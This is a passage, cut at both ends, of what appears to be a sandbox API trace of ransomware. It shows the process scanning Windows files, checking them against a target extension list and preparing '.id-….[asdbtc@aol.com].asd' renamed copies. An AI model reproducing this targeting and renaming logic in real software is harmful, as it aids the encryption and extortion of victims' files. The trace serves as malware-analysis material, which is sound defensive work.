(lpString=".zip") returned 4 [0059.132] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.132] lstrlenW (lpString=".rar") returned 4 [0059.132] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.132] lstrlenW (lpString=".bz2") returned 4 [0059.132] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.132] lstrlenW (lpString=".7z") returned 3 [0059.132] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.132] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.132] lstrlenW (lpString=".dbf") returned 4 [0059.133] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.133] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.133] lstrlenW (lpString=".1cd") returned 4 [0059.133] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.133] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.133] lstrlenW (lpString=".jpg") returned 4 [0059.133] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.133] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.133] lstrlenW (lpString="BabyBoyMainToScenesBackground_PAL.wmv") returned 37 [0059.133] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.134] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=141214) returned 1 [0059.134] CloseHandle (hObject=0x1fc) returned 1 [0059.134] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0059.134] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.134] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.134] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.134] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.134] lstrlenW (lpString=".doc") returned 4 [0059.134] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.134] lstrlenW (lpString=".docx") returned 5 [0059.134] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.134] lstrlenW (lpString=".pdf") returned 4 [0059.134] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.134] lstrlenW (lpString=".xls") returned 4 [0059.134] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.134] lstrlenW (lpString=".xlsx") returned 5 [0059.134] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.134] lstrlenW (lpString=".ppt") returned 4 [0059.135] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.135] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.135] lstrlenW (lpString=".zip") returned 4 [0059.135] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.135] lstrlenW (lpString=".rar") returned 4 [0059.135] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.135] lstrlenW (lpString=".bz2") returned 4 [0059.135] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.135] lstrlenW (lpString=".7z") returned 3 [0059.135] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.135] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.135] lstrlenW (lpString=".dbf") returned 4 [0059.135] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.135] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.135] lstrlenW (lpString=".1cd") returned 4 [0059.135] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.135] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.135] lstrlenW (lpString=".jpg") returned 4 [0059.135] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.135] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.135] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.135] lstrlenW (lpString=".doc") returned 4 [0059.135] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.135] lstrlenW (lpString=".docx") returned 5 [0059.135] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.136] lstrlenW (lpString=".pdf") returned 4 [0059.136] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.136] lstrlenW (lpString=".xls") returned 4 [0059.136] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.136] lstrlenW (lpString=".xlsx") returned 5 [0059.136] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.136] lstrlenW (lpString=".ppt") returned 4 [0059.136] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.136] lstrlenW (lpString=".zip") returned 4 [0059.136] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.136] lstrlenW (lpString=".rar") returned 4 [0059.136] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.136] lstrlenW (lpString=".bz2") returned 4 [0059.136] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.136] lstrlenW (lpString=".7z") returned 3 [0059.136] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.136] lstrlenW (lpString=".dbf") returned 4 [0059.136] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.136] lstrlenW (lpString=".1cd") returned 4 [0059.136] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.136] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0059.136] lstrlenW (lpString=".jpg") returned 4 [0059.136] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.137] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.137] lstrlenW (lpString="BabyBoyNotesBackground.wmv") returned 26 [0059.137] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.137] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=157292) returned 1 [0059.137] CloseHandle (hObject=0x1fc) returned 1 [0059.137] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0059.138] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.138] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.138] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.138] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.138] lstrlenW (lpString=".doc") returned 4 [0059.138] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.138] lstrlenW (lpString=".docx") returned 5 [0059.138] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0059.138] lstrlenW (lpString=".pdf") returned 4 [0059.138] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.138] lstrlenW (lpString=".xls") returned 4 [0059.138] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.138] lstrlenW (lpString=".xlsx") returned 5 [0059.138] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0059.138] lstrlenW (lpString=".ppt") returned 4 [0059.138] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.138] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.138] lstrlenW (lpString=".zip") returned 4 [0059.138] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.138] lstrlenW (lpString=".rar") returned 4 [0059.138] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.139] lstrlenW (lpString=".bz2") returned 4 [0059.139] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.139] lstrlenW (lpString=".7z") returned 3 [0059.139] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.139] lstrlenW (lpString=".dbf") returned 4 [0059.139] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.139] lstrlenW (lpString=".1cd") returned 4 [0059.139] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.139] lstrlenW (lpString=".jpg") returned 4 [0059.139] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.139] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.139] lstrlenW (lpString=".doc") returned 4 [0059.139] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.139] lstrlenW (lpString=".docx") returned 5 [0059.139] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0059.139] lstrlenW (lpString=".pdf") returned 4 [0059.139] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.139] lstrlenW (lpString=".xls") returned 4 [0059.139] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.139] lstrlenW (lpString=".xlsx") returned 5 [0059.139] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0059.140] lstrlenW (lpString=".ppt") returned 4 [0059.140] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.140] lstrlenW (lpString=".zip") returned 4 [0059.140] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.140] lstrlenW (lpString=".rar") returned 4 [0059.140] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.140] lstrlenW (lpString=".bz2") returned 4 [0059.140] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.140] lstrlenW (lpString=".7z") returned 3 [0059.140] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.140] lstrlenW (lpString=".dbf") returned 4 [0059.140] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.140] lstrlenW (lpString=".1cd") returned 4 [0059.140] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.140] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0059.140] lstrlenW (lpString=".jpg") returned 4 [0059.140] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.140] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.141] lstrlenW (lpString="BabyBoyNotesBackground_PAL.wmv") returned 30 [0059.141] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.141] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=157292) returned 1 [0059.141] CloseHandle (hObject=0x1fc) returned 1 [0059.141] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0059.141] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.141] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.142] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0059.142] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0059.142] lstrlenW (lpString=".doc") returned 4 [0059.142] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.142] lstrlenW (lpString=".docx") returned 5 [0059.142] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.142] lstrlenW (lpString=".pdf") returned 4 [0059.142] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.142] lstrlenW (lpString=".xls") returned 4 [0059.142] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.142] lstrlenW (lpString=".xlsx") returned 5 [0059.142] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.142] lstrlenW (lpString=".ppt") returned 4 [0059.142] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.142] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0059.142] lstrlenW (lpString=".zip") returned 4 [0059.142] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.142] lstrlenW (lpString=".rar") returned 4 [0059.142] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.142] lstrlenW (lpString=".bz2") returned 4 [0059.142] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.142] lstrlenW (lpString=".7z") returned 3 [0059.142] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.142] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0059.142] lstrlenW (lpString=".dbf") returned 4 [0059.142] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 Thread: id = 11 os_tid = 0x978 [0040.242] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5b04e8 [0040.242] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5c04f0 [0040.242] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560308 [0040.242] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x54a378 [0040.243] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560320 [0040.243] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3650020 [0040.243] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560338 [0040.243] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560338, Size=0x20) returned 0x58f920 [0040.243] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560338 [0040.243] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560338, Size=0x20) returned 0x58f8f8 [0040.243] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.243] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0040.243] Wow64DisableWow64FsRedirection (in: OldValue=0x2b3ff58 | out: OldValue=0x2b3ff58*=0x0) returned 1 [0040.243] lstrlenW (lpString="kernel32.dll") returned 12 [0040.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f920 | out: hHeap=0x510000) returned 1 [0040.243] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f8f8 | out: hHeap=0x510000) returned 1 [0040.244] Sleep (dwMilliseconds=0x64) [0040.494] lstrlenW (lpString="BCD") returned 3 [0040.494] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.495] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.495] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.495] lstrlenW (lpString=".doc") returned 4 [0040.495] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0040.495] lstrlenW (lpString=".docx") returned 5 [0040.495] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0040.495] lstrlenW (lpString=".pdf") returned 4 [0040.495] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0040.495] lstrlenW (lpString=".xls") returned 4 [0040.495] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0040.495] lstrlenW (lpString=".xlsx") returned 5 [0040.495] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0040.495] lstrlenW (lpString=".ppt") returned 4 [0040.495] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0040.495] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.495] lstrlenW (lpString=".zip") returned 4 [0040.495] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0040.495] lstrlenW (lpString=".rar") returned 4 [0040.495] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0040.495] lstrlenW (lpString=".bz2") returned 4 [0040.495] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0040.495] lstrlenW (lpString=".7z") returned 3 [0040.495] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0040.495] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.495] lstrlenW (lpString=".dbf") returned 4 [0040.496] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.496] lstrlenW (lpString=".1cd") returned 4 [0040.496] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.496] lstrlenW (lpString=".jpg") returned 4 [0040.496] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.496] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.496] lstrlenW (lpString=".doc") returned 4 [0040.496] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString=".docx") returned 5 [0040.496] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0040.496] lstrlenW (lpString=".pdf") returned 4 [0040.496] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString=".xls") returned 4 [0040.496] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString=".xlsx") returned 5 [0040.496] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0040.496] lstrlenW (lpString=".ppt") returned 4 [0040.496] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.496] lstrlenW (lpString=".zip") returned 4 [0040.496] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString=".rar") returned 4 [0040.496] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0040.496] lstrlenW (lpString=".bz2") returned 4 [0040.497] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0040.497] lstrlenW (lpString=".7z") returned 3 [0040.497] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0040.497] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.497] lstrlenW (lpString=".dbf") returned 4 [0040.497] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0040.497] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.497] lstrlenW (lpString=".1cd") returned 4 [0040.497] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0040.497] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0040.497] lstrlenW (lpString=".jpg") returned 4 [0040.497] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0040.497] lstrcmpiW (lpString1=".LOG1", lpString2=".asd") returned 1 [0040.497] lstrlenW (lpString="BCD.LOG1") returned 8 [0040.497] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.870] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=0) returned 1 [0040.870] CloseHandle (hObject=0x164) returned 1 [0040.870] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0040.870] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0040.870] lstrlenW (lpString=".doc") returned 4 [0040.870] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0040.870] lstrlenW (lpString=".docx") returned 5 [0040.870] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0040.870] lstrlenW (lpString=".pdf") returned 4 [0040.871] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0040.871] lstrlenW (lpString=".xls") returned 4 [0040.871] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0040.871] lstrlenW (lpString=".xlsx") returned 5 [0040.871] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0040.871] lstrlenW (lpString=".ppt") returned 4 [0040.871] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0040.871] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.535] lstrlenW (lpString=".zip") returned 4 [0041.535] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0041.535] lstrlenW (lpString=".rar") returned 4 [0041.535] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString=".bz2") returned 4 [0041.536] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString=".7z") returned 3 [0041.536] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0041.536] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.536] lstrlenW (lpString=".dbf") returned 4 [0041.536] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.536] lstrlenW (lpString=".1cd") returned 4 [0041.536] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.536] lstrlenW (lpString=".jpg") returned 4 [0041.536] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.536] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.536] lstrlenW (lpString=".doc") returned 4 [0041.536] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString=".docx") returned 5 [0041.536] lstrcmpiW 